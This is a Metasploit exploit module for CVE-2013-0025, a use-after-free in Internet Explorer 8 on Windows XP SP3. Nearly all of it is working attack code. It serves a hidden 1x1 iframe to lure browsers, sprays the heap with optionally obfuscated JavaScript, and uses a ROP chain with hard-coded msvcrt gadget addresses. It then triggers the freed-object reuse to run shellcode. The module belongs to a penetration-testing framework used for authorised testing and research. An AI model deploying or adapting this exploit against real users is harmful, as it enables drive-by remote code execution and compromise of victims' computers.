require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
where a CParaElement node is released but a reference is still kept
in CDoc. This memory is reused when a CDoc relayout is performed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Bell <scott.bell@security-assessment.com>', # Vulnerability discovery & Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0025' ],
[ 'MSB', 'MS13-009' ],
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 13 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_nops = [0x77c39f92].pack("V") * 11 # RETN
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
rop_payload << rop_nops
rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
rop_payload << [0x77c39f92].pack("V") # RETN
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
rop_payload << code
end
return rop_payload
end
def this_resource
r = get_resource
return ( r == '/') ? '' : r
end
def get_exploit(my_target, cli)
p = get_payload(my_target, cli)
js = heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
var data
var objArray = new Array(1800);
#{js}
setTimeout(function(){
for (var i=0;i<objArray.length;i++){
objArray[i] = document.createElement('body');
document.body.appendChild(objArray[i])
objArray[i].style.display = "none"
}
document.body.style.whiteSpace = "pre-line"
for(var i=0;i<10;i++){
for (var i=0;i<(objArray.length-650);i++){
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
|
return html
end
def get_iframe
html = %Q|
<html>
<body>
<iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
if uri =~ /#{@iframe_name}/
html = get_exploit(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
elsif uri=~ /\/$/
html = get_iframe
print_status "Sending IFRAME..."
end
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
super
end
end
